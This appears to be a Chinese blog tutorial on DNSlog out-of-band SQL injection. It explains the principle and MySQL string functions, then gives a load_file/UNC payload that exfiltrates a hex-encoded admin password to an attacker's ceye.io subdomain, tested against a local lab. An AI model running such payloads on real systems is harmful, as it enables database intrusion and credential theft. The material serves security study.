1. 程式人生 > 實用技巧 >SQL注入-DNS注入(二)

SQL注入-DNS注入(二)

其實就是盲注的簡化版本,不過這種方式確實簡單,不需要寫py指令碼一點點去跑

參考文章:

https://www.jianshu.com/p/c805209244c2 這篇文章基本上算入門,簡單介紹了介紹DNS盲注

https://www.anquanke.com/post/id/98096 安全客的文章,寫的也不錯!

0x01、關於DNSlog在Web攻擊的利用

DNSlog在Web漏洞利用中已經是老生常談的問題,簡單理解就是在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起DNS請求,這個時候就可以通過這種方式把想獲得的資料外帶出來。

0x02、常用在哪些情況下

  1. SQL注入中的盲注
  2. 無回顯的命令執行
  3. 無回顯的SSRF

0x03、Dnslog攻擊的基本原理

如圖所示,作為攻擊者,提交注入語句,讓資料庫把需要查詢的值和域名拼接起來,然後發生DNS查詢,我們只要能獲得DNS的日誌,就得到了想要的值。所以我們需要有一個自己的域名,然後在域名商處配置一條NS記錄,然後我們在NS伺服器上面獲取DNS日誌即可。

這裡先普及個SQL命令,contact() 函式和group_concat()函式

一、concat()函式
CONCAT()函式用於將多個字串連線成一個字串。

函式的語法就是 select contact( id , name ) from wechat.students ;

如果想要把查出來的資料中加個 逗號 的話 , 就這麼寫 select contact( id , ' , ' , name ) from wechat.students ; 最好加個空格,不加空格看著彆扭 ,資料直接連在一起

但是這個函式有個特點就是,如果查詢的一個欄位中有空的資料,那麼返回的結果都是空

二、group_concat()函式

將查詢結果用半形都好連線起來,一般用在group by分組查詢語句中。

eg:select group_concat(tag_name) from content_topic_tag_ref where topic_id = 50;

返回結果:123,abc,456

concat() 和 group_concat() 兩個函式都可以將資料整合查出來,但是區別就是group_concat()函式查出來的是整體一行,就是把所有資料整合到一行上面,而concat()函式查出來是分行的

0x04、Dnslog在常見資料庫中SQL注入的實戰

這裡主要列舉了4種資料庫,MySQL、MSSQL、PostgreSQL、Oracle。

本次演示一個最常見的注入場景,就是WHERE後面條件處的注入。實驗環境有一個test_user表,三個欄位id、user、pass。如下

最後想要達到的目的是通過DNS外帶的方式查詢到pass欄位的內容。

此處就不再自己搭建一個DNS伺服器了,直接用ceye.io這個平臺吧,這個平臺就集成了Dnslog的功能。

1、MySQL

1) load_file

MySQL應該是在實戰中利用Dnslog最多的,所以先來說說它吧。

在MySQL中有個一個load_file函式可以用來讀取本地的檔案。

http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass) 
FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\abc'))

可以看到,這裡查出來的資料也就是 6164Dxxxxxxxxxxxx 這個資料 拼接在了 .mysql.xxxxxx 網址的前面

可以看到test_user中的pass欄位的值的Hex碼就被查詢出來了,為什麼這個地方Hex編碼的目的就是減少干擾,因為很多事資料庫欄位的值可能是有特殊符號的,這些特殊符號拼接在域名裡是無法做dns查詢的,因為域名是有一定的規範,有些特殊符號是不能帶入的。

注意:load_file函式在Linux下是無法用來做dnslog攻擊的,因為在這裡就涉及到Windows的一個小Tips——UNC路徑

這個具體不研究,主要意義不大了,用DNS注入本來就是省略了盲注的時間,這樣反而適得其反。

詳細文章參考

https://www.anquanke.com/post/id/98096

總體來說 DNS注入 只適合 iis 伺服器系列的盲注。